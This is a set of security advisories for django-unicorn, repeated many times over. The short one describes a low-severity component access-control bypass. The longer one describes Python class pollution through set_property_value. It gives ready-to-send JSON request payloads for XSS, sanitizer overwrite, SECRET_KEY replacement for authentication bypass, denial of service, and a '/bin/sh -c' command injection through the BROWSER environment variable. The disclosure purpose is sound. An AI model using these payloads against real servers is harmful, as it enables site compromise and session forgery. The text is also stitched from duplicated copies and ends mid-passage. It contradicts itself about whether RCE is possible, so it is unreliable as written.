Summary

Component state manipulation is possible in django-unicorn due to missing access control checks during property updates and method calls. An attacker can bypass the intended _is_public protection to modify internal attributes such as template_name or trigger protected methods.

Vulnerability Details: Component Access Control Bypass

Security analysis identified that the framework fails to enforce visibility boundaries defined by _is_public within the action parsers. Specifically, the logic in set_property_value() and _call_method_name() utilizes getattr and setattr directly on component instances without verifying if the target attribute or method is explicitly marked as public.

Vulnerability resides in:

• src/django_unicorn/views/action_parsers/call_method.py
• src/django_unicorn/views/action_parsers/utils.py

While Django's template engine restricts rendering to registered directories, an unauthorized user can still force a component to render sensitive templates (e.g., admin layouts) from other installed applications or reset the component state by invoking the internal reset() method.

Proof of Concept (PoC)

Attacker can overwrite the template_name attribute by sending a crafted JSON payload to the message endpoint:

1. Construct a payload targeting a protected attribute:

   {
     "actionQueue": [
       {
         "type": "syncInput",
         "payload": { "name": "template_name", "value": "admin/base.html" }
       }
     ],
     "data": {},
     "meta": "<checksum_of_empty_dict>"
   }
   

2. The server-side component updates its internal state: self.template_name = "admin/base.html".
3. Subsequent re-rendering displays the content of the targeted template, bypassing intended component logic.

Impact

Low severity. The risk is limited to unauthorized manipulation of component state and rendering of existing templates within the application's configured template directories. Remote Code Execution (RCE) is not possible via this vector.

Summary

Component state manipulation is possible in django-unicorn due to missing access control checks during property updates and method calls. An attacker can bypass the intended _is_public protection to modify internal attributes such as template_name or trigger protected methods.

Vulnerability Details: Component Access Control Bypass

Security analysis identified that the framework fails to enforce visibility boundaries defined by _is_public within the action parsers. Specifically, the logic in set_property_value() and _call_method_name() utilizes getattr and setattr directly on component instances without verifying if the target attribute or method is explicitly marked as public.

Vulnerability resides in:

• src/django_unicorn/views/action_parsers/call_method.py
• src/django_unicorn/views/action_parsers/utils.py

While Django's template engine restricts rendering to registered directories, an unauthorized user can still force a component to render sensitive templates (e.g., admin layouts) from other installed applications or reset the component state by invoking the internal reset() method.

Proof of Concept (PoC)

Attacker can overwrite the template_name attribute by sending a crafted JSON payload to the message endpoint:

1. Construct a payload targeting a protected attribute:

   {
     "actionQueue": [
       {
         "type": "syncInput",
         "payload": { "name": "template_name", "value": "admin/base.html" }
       }
     ],
     "data": {},
     "meta": "<checksum_of_empty_dict>"
   }
   

2. The server-side component updates its internal state: self.template_name = "admin/base.html".
3. Subsequent re-rendering displays the content of the targeted template, bypassing intended component logic.

Impact

Low severity. The risk is limited to unauthorized manipulation of component state and rendering of existing templates within the application's configured template directories. Remote Code Execution (RCE) is not possible via this vector.

Summary

Component state manipulation is possible in django-unicorn due to missing access control checks during property updates and method calls. An attacker can bypass the intended _is_public protection to modify internal attributes such as template_name or trigger protected methods.

Vulnerability Details: Component Access Control Bypass

Security analysis identified that the framework fails to enforce visibility boundaries defined by _is_public within the action parsers. Specifically, the logic in set_property_value() and _call_method_name() utilizes getattr and setattr directly on component instances without verifying if the target attribute or method is explicitly marked as public.

Vulnerability resides in:

• src/django_unicorn/views/action_parsers/call_method.py
• src/django_unicorn/views/action_parsers/utils.py

While Django's template engine restricts rendering to registered directories, an unauthorized user can still force a component to render sensitive templates (e.g., admin layouts) from other installed applications or reset the component state by invoking the internal reset() method.

Proof of Concept (PoC)

Attacker can overwrite the template_name attribute by sending a crafted JSON payload to the message endpoint:

1. Construct a payload targeting a protected attribute:

   {
     "actionQueue": [
       {
         "type": "syncInput",
         "payload": { "name": "template_name", "value": "admin/base.html" }
       }
     ],
     "data": {},
     "meta": "<checksum_of_empty_dict>"
   }
   

2. The server-side component updates its internal state: self.template_name = "admin/base.html".
3. Subsequent re-rendering displays the content of the targeted template, bypassing intended component logic.

Impact

Low severity. The risk is limited to unauthorized manipulation of component state and rendering of existing templates within the application's configured template directories. Remote Code Execution (RCE) is not possible via this vector.

Summary

Component state manipulation is possible in django-unicorn due to missing access control checks during property updates and method calls. An attacker can bypass the intended _is_public protection to modify internal attributes such as template_name or trigger protected methods.

Vulnerability Details: Component Access Control Bypass

Security analysis identified that the framework fails to enforce visibility boundaries defined by _is_public within the action parsers. Specifically, the logic in set_property_value() and _call_method_name() utilizes getattr and setattr directly on component instances without verifying if the target attribute or method is explicitly marked as public.

Vulnerability resides in:

• src/django_unicorn/views/action_parsers/call_method.py
• src/django_unicorn/views/action_parsers/utils.py

While Django's template engine restricts rendering to registered directories, an unauthorized user can still force a component to render sensitive templates (e.g., admin layouts) from other installed applications or reset the component state by invoking the internal reset() method.

Proof of Concept (PoC)

Attacker can overwrite the template_name attribute by sending a crafted JSON payload to the message endpoint:

1. Construct a payload targeting a protected attribute:

   {
     "actionQueue": [
       {
         "type": "syncInput",
         "payload": { "name": "template_name", "value": "admin/base.html" }
       }
     ],
     "data": {},
     "meta": "<checksum_of_empty_dict>"
   }
   

2. The server-side component updates its internal state: self.template_name = "admin/base.html".
3. Subsequent re-rendering displays the content of the targeted template, bypassing intended component logic.

Impact

Low severity. The risk is limited to unauthorized manipulation of component state and rendering of existing templates within the application's configured template directories. Remote Code Execution (RCE) is not possible via this vector.

Summary

Component state manipulation is possible in django-unicorn due to missing access control checks during property updates and method calls. An attacker can bypass the intended _is_public protection to modify internal attributes such as template_name or trigger protected methods.

Vulnerability Details: Component Access Control Bypass

Security analysis identified that the framework fails to enforce visibility boundaries defined by _is_public within the action parsers. Specifically, the logic in set_property_value() and _call_method_name() utilizes getattr and setattr directly on component instances without verifying if the target attribute or method is explicitly marked as public.

Vulnerability resides in:

• src/django_unicorn/views/action_parsers/call_method.py
• src/django_unicorn/views/action_parsers/utils.py

While Django's template engine restricts rendering to registered directories, an unauthorized user can still force a component to render sensitive templates (e.g., admin layouts) from other installed applications or reset the component state by invoking the internal reset() method.

Proof of Concept (PoC)

Attacker can overwrite the template_name attribute by sending a crafted JSON payload to the message endpoint:

1. Construct a payload targeting a protected attribute:

   {
     "actionQueue": [
       {
         "type": "syncInput",
         "payload": { "name": "template_name", "value": "admin/base.html" }
       }
     ],
     "data": {},
     "meta": "<checksum_of_empty_dict>"
   }
   

2. The server-side component updates its internal state: self.template_name = "admin/base.html".
3. Subsequent re-rendering displays the content of the targeted template, bypassing intended component logic.

Impact

Low severity. The risk is limited to unauthorized manipulation of component state and rendering of existing templates within the application's configured template directories. Remote Code Execution (RCE) is not possible via this vector.

Summary

Component state manipulation is possible in django-unicorn due to missing access control checks during property updates and method calls. An attacker can bypass the intended _is_public protection to modify internal attributes such as template_name or trigger protected methods.

Vulnerability Details: Component Access Control Bypass

Security analysis identified that the framework fails to enforce visibility boundaries defined by _is_public within the action parsers. Specifically, the logic in set_property_value() and _call_method_name() utilizes getattr and setattr directly on component instances without verifying if the target attribute or method is explicitly marked as public.

Vulnerability resides in:

• src/django_unicorn/views/action_parsers/call_method.py
• src/django_unicorn/views/action_parsers/utils.py

While Django's template engine restricts rendering to registered directories, an unauthorized user can still force a component to render sensitive templates (e.g., admin layouts) from other installed applications or reset the component state by invoking the internal reset() method.

Proof of Concept (PoC)

Attacker can overwrite the template_name attribute by sending a crafted JSON payload to the message endpoint:

1. Construct a payload targeting a protected attribute:

   {
     "actionQueue": [
       {
         "type": "syncInput",
         "payload": { "name": "template_name", "value": "admin/base.html" }
       }
     ],
     "data": {},
     "meta": "<checksum_of_empty_dict>"
   }
   

2. The server-side component updates its internal state: self.template_name = "admin/base.html".
3. Subsequent re-rendering displays the content of the targeted template, bypassing intended component logic.

Impact

Low severity. The risk is limited to unauthorized manipulation of component state and rendering of existing templates within the application's configured template directories. Remote Code Execution (RCE) is not possible via this vector.

Summary

Component state manipulation is possible in django-unicorn due to missing access control checks during property updates and method calls. An attacker can bypass the intended _is_public protection to modify internal attributes such as template_name or trigger protected methods.

Vulnerability Details: Component Access Control Bypass

Security analysis identified that the framework fails to enforce visibility boundaries defined by _is_public within the action parsers. Specifically, the logic in set_property_value() and _call_method_name() utilizes getattr and setattr directly on component instances without verifying if the target attribute or method is explicitly marked as public.

Vulnerability resides in:

• src/django_unicorn/views/action_parsers/call_method.py
• src/django_unicorn/views/action_parsers/utils.py

While Django's template engine restricts rendering to registered directories, an unauthorized user can still force a component to render sensitive templates (e.g., admin layouts) from other installed applications or reset the component state by invoking the internal reset() method.

Proof of Concept (PoC)

Attacker can overwrite the template_name attribute by sending a crafted JSON payload to the message endpoint:

1. Construct a payload targeting a protected attribute:

   {
     "actionQueue": [
       {
         "type": "syncInput",
         "payload": { "name": "template_name", "value": "admin/base.html" }
       }
     ],
     "data": {},
     "meta": "<checksum_of_empty_dict>"
   }
   

2. The server-side component updates its internal state: self.template_name = "admin/base.html".
3. Subsequent re-rendering displays the content of the targeted template, bypassing intended component logic.

Impact

Low severity. The risk is limited to unauthorized manipulation of component state and rendering of existing templates within the application's configured template directories. Remote Code Execution (RCE) is not possible via this vector.

Summary

Django-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under CWE-915. The vulnerability arises from the core functionality set_property_value, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status.

At least five ways of vulnerability exploitation have been found, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application.

Analysis of Vulnerable Function

By taking a look at the vulnerable function set_property_value located at: django_unicorn/views/action_parsers/utils.py. You can observe the functionality is responsible for modifying a property value of an object.

The property is specified by a dotted form of path at the second parameter property_name, where nested reference to object is supported, and base object and the assigned value is given by the first parameter component and third parameter property_value.

# https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/utils.py#L10
 def set_property_value(
    component,
    property_name,
    property_value
 ) -> None:
    ...
    property_name_parts = property_name.split(".")
    component_or_field = component
    ...
    for idx, property_name_part in enumerate(property_name_parts):
        if hasattr(component_or_field, property_name_part):
            if idx == len(property_name_parts) - 1:
                ...
                setattr(component_or_field, property_name_part, property_value)
                ...
            else:
                component_or_field = getattr(component_or_field, property_name_part)
                ...
        elif isinstance(component_or_field, dict):
            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part] = property_value
				...
            else:
                component_or_field = component_or_field[property_name_part]
				...
        elif isinstance(component_or_field, (QuerySet, list)):
            property_name_part_int = int(property_name_part)

            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part_int] = property_value  # type: ignore[index]
                ...
            else:
                component_or_field = component_or_field[property_name_part_int]  # type: ignore[index]
                ...
        else:
            break

Meanwhile, this functionality can be directly triggered by a component request, one of the core functionalities of the project, by specifying the request type as syncInput and payload object would be fed in the dotted-path (2nd) parameter and assigned value (3rd) parameter of the vulnerable function.

POST /unicorn/message/COMPONENT_NAME

{
    "id": 123,
    "actionQueue":[
        {
          "type": "syncInput",
          "payload": {
          "name": "DOTTED_PATH",
          "value":"ASSIGNED_VALUE"
          }
    		}
    ],
    "data": {XXX},
    "epoch": "123",
    "checksum": "XXXX"
}

You are now aware of that users from the remote can fully control the property_name and property_value of the vulnerable function. By default the preperty value overwrite can only be performed on the component object, which is always the first parameter of the function.

However, the functionality failed to count in the situation where bad actors can modify the normal path to traverse to other objects in the python runtime, by leveraging the magic attributes. For example, if the property_name was set to __init__.__globals__, the component context would change to global context of the component module, which means you can modify any attributes of the objects that are located in the global scope of the component module. These objects also include other modules that have been imported in the component module, which comprises of a pollutable dependency chain.

With all these techniques introduced, you can now change any global objects including, global variables/instances/classes/functions of any module that is in a chain of dependency from the component module.

The next section introduces the five exploitation gadgets found so far, leading to reflected XSS, stored XSS, authentication bypass and DOS attack. It uses a locally deployed django-unicorn.com as demo website to showcase its large-scale impact.

Here, gadgets refer to the dependency code snippets by default introduced by django-unicorn and changing its status can result in an attack sequence, such as XSS.

Proof of Concept

#1 Reflected Cross-Site Scripting by Overwriting bs4 HTML sanitizer

Django-Unicorn implants the EntitySubstitution rule from beautifulsoup4 library into its HTML formatter, formatting all the template response messages.

While this rule is specified in a global dictionary, you can exploit the class pollution vulnerability to overwrite it.

POST /unicorn/message/todo HTTP/1.1

{
  "id" : 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.<",
        "value": "<img/src=1 onerror=alert('bs4_html_entity_bypass')>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

In this demonstration, replaced the sanitizer's < item value with the XSS payload. whenever a template reponse renders a "<" in cleartext, it will be converted to the payload, leading to XSS attack.

#2 Stored Cross-Site Scripting by Overwriting Unicorn Setting and Django Json Script Sanitizer

There is always a script tag in the webpage. Among it, a NAME value is dynamically extracted both from the MORPHER_NAMES and DEFAULT_MORPHER_NAME variable in the setting module.

However, simply polluting these values can not lead to a stored XSS attack. Django by default escape some of the special characters into unicode sequences.

Going through the source code of django, you will find the actual sanitizer located at _json_script_escapes variable at django/utils/html.py.

By polluting this variable to clear it out, you finally achieve a stored XSS attack.

PoC:

POST /unicorn/message/todo HTTP/1.1

{
  "id": "3gpDSUcxzs1",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.MORPHER_NAMES",
        "value": [
          "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
        ]
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.DEFAULT_MORPHER_NAME",
        "value": "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.utils.html._json_script_escapes",
        "value": {}
      }
    }
  ],
  "epoch": 1737318956605,
  "hash": "jWGuTFzy"
}

#3 Stored Cross-Site Scripting by Overwriting Django Error Page Source Code

Django by default stores its error page source code in a global variable named ERROR_PAGE_TEMPLATE at django/views/defaults.py.

By polluting this variable to XSS payload. whenever a user triggers an error in the application, such as access an unexisting resource, the attack payload fires out.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.views.defaults.ERROR_PAGE_TEMPLATE",
        "value": "<html><script>alert('error page pollution')</script></html>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#4 Authentication Bypass by Overwriting Django Secret Key

Django secret key is typically used to sign and verify session cookies and other security related mechanism. By polluting its runtime value to attacker intended, attacker can forge session cookies to login in to the system as any user.

Even though, django-unicorn.com doesn't have an authentication layer, you can still observe a successful secret key pollution by inspecting the changed checksum in the HTTP response, since the checksum is generated by encrypting the data field in the request body with the secret key.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY",
        "value": "test"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#5 Denial of Service by Overwriting timed Decorator Method

The timed decorator is used to modify many important functions in the django-unicorn, such as _call_method_name.

By polluting the core decorator method timed to a string, you make a function call always call a uncallable string, leading to the backend crashed, thus denial of service attack.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.timed",
        "value": "X"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#6 Remote Code Execution by Polluting location_cache and OS Environment Variable BROWSER

By polluting the cached data in the location_cache object located at unicorn_view.py, attackers can archieve an arbitrary module importation as the logic executed at _get_component_class function. Then a following pollution on the BROWSER os environment variable will lead to remote code execution when it is combined with antigravity module importation.

• Pollute location_cache._Cache__data.todo as an array where the first element is the module name imported whenever a GET request is sent to the server.

 POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
Content-Length: 327
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.location_cache._Cache__data.todo",
        "value": [
          "antigravity",
          "any"
        ]
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

• Pollute BROWSER os environment variable where the payload for command injection is set.

POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
 Content-Length: 348
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.os.environ",
        "value": {
          "BROWSER": "/bin/sh -c \"touch /tmp/pwned \" #%s"
        }
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

Mitigation

The patch could be:

• Blocking paths that start with __, which represent double under (dunder) or magic variables/methods
• Set a blacklist for the path, such as RESTRICTED_KEYS = ("__globals__", "__builtins__") adopted by pydash.

Related Materials

For more information about class pollution please refer to:

[1] CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

[2] Report: Class Pollution leading to RCE in pydash

[3] Blog: Prototype Pollution in Python

[4] Blog: Class Pollution Gadgets in Jinja Leading to RCE

Summary

Component state manipulation is possible in django-unicorn due to missing access control checks during property updates and method calls. An attacker can bypass the intended _is_public protection to modify internal attributes such as template_name or trigger protected methods.

Vulnerability Details: Component Access Control Bypass

Security analysis identified that the framework fails to enforce visibility boundaries defined by _is_public within the action parsers. Specifically, the logic in set_property_value() and _call_method_name() utilizes getattr and setattr directly on component instances without verifying if the target attribute or method is explicitly marked as public.

Vulnerability resides in:

• src/django_unicorn/views/action_parsers/call_method.py
• src/django_unicorn/views/action_parsers/utils.py

While Django's template engine restricts rendering to registered directories, an unauthorized user can still force a component to render sensitive templates (e.g., admin layouts) from other installed applications or reset the component state by invoking the internal reset() method.

Proof of Concept (PoC)

Attacker can overwrite the template_name attribute by sending a crafted JSON payload to the message endpoint:

1. Construct a payload targeting a protected attribute:

   {
     "actionQueue": [
       {
         "type": "syncInput",
         "payload": { "name": "template_name", "value": "admin/base.html" }
       }
     ],
     "data": {},
     "meta": "<checksum_of_empty_dict>"
   }
   

2. The server-side component updates its internal state: self.template_name = "admin/base.html".
3. Subsequent re-rendering displays the content of the targeted template, bypassing intended component logic.

Impact

Low severity. The risk is limited to unauthorized manipulation of component state and rendering of existing templates within the application's configured template directories. Remote Code Execution (RCE) is not possible via this vector.

Summary

Django-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under CWE-915. The vulnerability arises from the core functionality set_property_value, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status.

At least five ways of vulnerability exploitation have been found, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application.

Analysis of Vulnerable Function

By taking a look at the vulnerable function set_property_value located at: django_unicorn/views/action_parsers/utils.py. You can observe the functionality is responsible for modifying a property value of an object.

The property is specified by a dotted form of path at the second parameter property_name, where nested reference to object is supported, and base object and the assigned value is given by the first parameter component and third parameter property_value.

# https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django_unicorn/views/action_parsers/utils.py#L10
 def set_property_value(
    component,
    property_name,
    property_value
 ) -> None:
    ...
    property_name_parts = property_name.split(".")
    component_or_field = component
    ...
    for idx, property_name_part in enumerate(property_name_parts):
        if hasattr(component_or_field, property_name_part):
            if idx == len(property_name_parts) - 1:
                ...
                setattr(component_or_field, property_name_part, property_value)
                ...
            else:
                component_or_field = getattr(component_or_field, property_name_part)
                ...
        elif isinstance(component_or_field, dict):
            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part] = property_value
				...
            else:
                component_or_field = component_or_field[property_name_part]
				...
        elif isinstance(component_or_field, (QuerySet, list)):
            property_name_part_int = int(property_name_part)

            if idx == len(property_name_parts) - 1:
                component_or_field[property_name_part_int] = property_value  # type: ignore[index]
                ...
            else:
                component_or_field = component_or_field[property_name_part_int]  # type: ignore[index]
                ...
        else:
            break

Meanwhile, this functionality can be directly triggered by a component request, one of the core functionalities of the project, by specifying the request type as syncInput and payload object would be fed in the dotted-path (2nd) parameter and assigned value (3rd) parameter of the vulnerable function.

POST /unicorn/message/COMPONENT_NAME

{
    "id": 123,
    "actionQueue":[
        {
          "type": "syncInput",
          "payload": {
          "name": "DOTTED_PATH",
          "value":"ASSIGNED_VALUE"
          }
    		}
    ],
    "data": {XXX},
    "epoch": "123",
    "checksum": "XXXX"
}

You are now aware of that users from the remote can fully control the property_name and property_value of the vulnerable function. By default the preperty value overwrite can only be performed on the component object, which is always the first parameter of the function.

However, the functionality failed to count in the situation where bad actors can modify the normal path to traverse to other objects in the python runtime, by leveraging the magic attributes. For example, if the property_name was set to __init__.__globals__, the component context would change to global context of the component module, which means you can modify any attributes of the objects that are located in the global scope of the component module. These objects also include other modules that have been imported in the component module, which comprises of a pollutable dependency chain.

With all these techniques introduced, you can now change any global objects including, global variables/instances/classes/functions of any module that is in a chain of dependency from the component module.

The next section introduces the five exploitation gadgets found so far, leading to reflected XSS, stored XSS, authentication bypass and DOS attack. It uses a locally deployed django-unicorn.com as demo website to showcase its large-scale impact.

Here, gadgets refer to the dependency code snippets by default introduced by django-unicorn and changing its status can result in an attack sequence, such as XSS.

Proof of Concept

#1 Reflected Cross-Site Scripting by Overwriting bs4 HTML sanitizer

Django-Unicorn implants the EntitySubstitution rule from beautifulsoup4 library into its HTML formatter, formatting all the template response messages.

While this rule is specified in a global dictionary, you can exploit the class pollution vulnerability to overwrite it.

POST /unicorn/message/todo HTTP/1.1

{
  "id" : 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.bs4.dammit.EntitySubstitution.CHARACTER_TO_XML_ENTITY.<",
        "value": "<img/src=1 onerror=alert('bs4_html_entity_bypass')>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

In this demonstration, replaced the sanitizer's < item value with the XSS payload. whenever a template reponse renders a "<" in cleartext, it will be converted to the payload, leading to XSS attack.

#2 Stored Cross-Site Scripting by Overwriting Unicorn Setting and Django Json Script Sanitizer

There is always a script tag in the webpage. Among it, a NAME value is dynamically extracted both from the MORPHER_NAMES and DEFAULT_MORPHER_NAME variable in the setting module.

However, simply polluting these values can not lead to a stored XSS attack. Django by default escape some of the special characters into unicode sequences.

Going through the source code of django, you will find the actual sanitizer located at _json_script_escapes variable at django/utils/html.py.

By polluting this variable to clear it out, you finally achieve a stored XSS attack.

PoC:

POST /unicorn/message/todo HTTP/1.1

{
  "id": "3gpDSUcxzs1",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.MORPHER_NAMES",
        "value": [
          "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
        ]
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django_unicorn.settings.DEFAULT_MORPHER_NAME",
        "value": "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
      }
    },
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.utils.html._json_script_escapes",
        "value": {}
      }
    }
  ],
  "epoch": 1737318956605,
  "hash": "jWGuTFzy"
}

#3 Stored Cross-Site Scripting by Overwriting Django Error Page Source Code

Django by default stores its error page source code in a global variable named ERROR_PAGE_TEMPLATE at django/views/defaults.py.

By polluting this variable to XSS payload. whenever a user triggers an error in the application, such as access an unexisting resource, the attack payload fires out.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.views.defaults.ERROR_PAGE_TEMPLATE",
        "value": "<html><script>alert('error page pollution')</script></html>"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#4 Authentication Bypass by Overwriting Django Secret Key

Django secret key is typically used to sign and verify session cookies and other security related mechanism. By polluting its runtime value to attacker intended, attacker can forge session cookies to login in to the system as any user.

Even though, django-unicorn.com doesn't have an authentication layer, you can still observe a successful secret key pollution by inspecting the changed checksum in the HTTP response, since the checksum is generated by encrypting the data field in the request body with the secret key.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.template.backends.django.settings.SECRET_KEY",
        "value": "test"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#5 Denial of Service by Overwriting timed Decorator Method

The timed decorator is used to modify many important functions in the django-unicorn, such as _call_method_name.

By polluting the core decorator method timed to a string, you make a function call always call a uncallable string, leading to the backend crashed, thus denial of service attack.

POST /unicorn/message/todo HTTP/1.1

{
  "id": 123,
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.timed",
        "value": "X"
      }
    }
  ],
  "data": {
    "task": "",
    "tasks": []
  },
  "epoch": "123",
  "checksum": "XXX"
}

#6 Remote Code Execution by Polluting location_cache and OS Environment Variable BROWSER

By polluting the cached data in the location_cache object located at unicorn_view.py, attackers can archieve an arbitrary module importation as the logic executed at _get_component_class function. Then a following pollution on the BROWSER os environment variable will lead to remote code execution when it is combined with antigravity module importation.

• Pollute location_cache._Cache__data.todo as an array where the first element is the module name imported whenever a GET request is sent to the server.

 POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
Content-Length: 327
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.location_cache._Cache__data.todo",
        "value": [
          "antigravity",
          "any"
        ]
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

• Pollute BROWSER os environment variable where the payload for command injection is set.

POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
 Content-Length: 348
Accept: application/json

{
  "id": "E5FBWqME",
  "data": {
    "task": "",
    "tasks": []
  },
  "checksum": "XvvsDQXX",
  "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.os.environ",
        "value": {
          "BROWSER": "/bin/sh -c \"touch /tmp/pwned \" #%s"
        }
      },
      "partials": []
    },
    {
      "type": "callMethod",
      "payload": {
        "name": "add"
      },
      "partials": []
    }
  ],
  "epoch": 1746680343776,
  "hash": "CG5pMDxc"
}

Mitigation

The patch could be:

• Blocking paths that start with __, which represent double under (dunder) or magic variables/methods
• Set a blacklist for the path, such as RESTRICTED_KEYS = ("__globals__", "__builtins__") adopted by pydash.

Related Materials

For more information about class pollution please refer to:

[1] CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

[2] Report: Class Pollution leading to RCE in pydash

[3] Blog: Prototype Pollution in Python

[4] Blog: Class Pollution Gadgets in Jinja Leading to RCE

Summary

Component state manipulation is possible in django-unicorn due to missing access control checks during property updates and method calls. An attacker can bypass the intended _is_public protection to modify internal attributes such as template_name or trigger protected methods.

Vulnerability Details: Component Access Control Bypass

Security analysis identified that the framework fails to enforce visibility boundaries defined by _is_public within the action parsers. Specifically, the logic in set_property_value() and _call_method_name() utilizes getattr and setattr directly on component instances without verifying if the target attribute or method is explicitly marked as public.

Vulnerability resides in:

• src/django_unicorn/views/action_parsers/call_method.py
• src/django_unicorn/views/action_parsers/utils.py

While Django's template engine restricts rendering to registered directories, an unauthorized user can still force a component to render sensitive templates (e.g., admin layouts) from other installed applications or reset the component state by invoking the internal reset() method.

Proof of Concept (PoC)

Attacker can overwrite the template_name attribute by sending a crafted JSON payload to the message endpoint:

1. Construct a payload targeting a protected attribute:

   {
     "actionQueue": [
       {
         "type": "syncInput",
         "payload": { "name": "template_name", "value": "admin/base.html" }
       }
     ],
     "data": {},
     "meta": "<checksum_of_empty_dict>"
   }
   

2. The server-side component updates its internal state: self.template_name = "admin/base.html".
3. Subsequent re-rendering displays the content of the targeted template, bypassing intended component logic.

Impact

Low severity. The risk is limited to unauthorized manipulation of component state and rendering of existing templates within the application's configured template directories. Remote Code Execution (RCE) is not possible via this vector.

Summary

Django-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under CWE-915. The vulnerability arises from the core functionality set_property_value, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status.

At least five ways of vulnerability exploitation have been found, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application.

Analysis of Vulnerable Function

By taking a look at the vulnerable function set_property_value located at: django_unicorn/views/action_parsers/utils.py. You can observe the functionality is responsible for modifying a property value of an object.

The property is specified by a dotted form of path at the second parameter property_name, where nested reference to object is supported, and base object and the assigned value is given by the first parameter component and third parameter property_value.

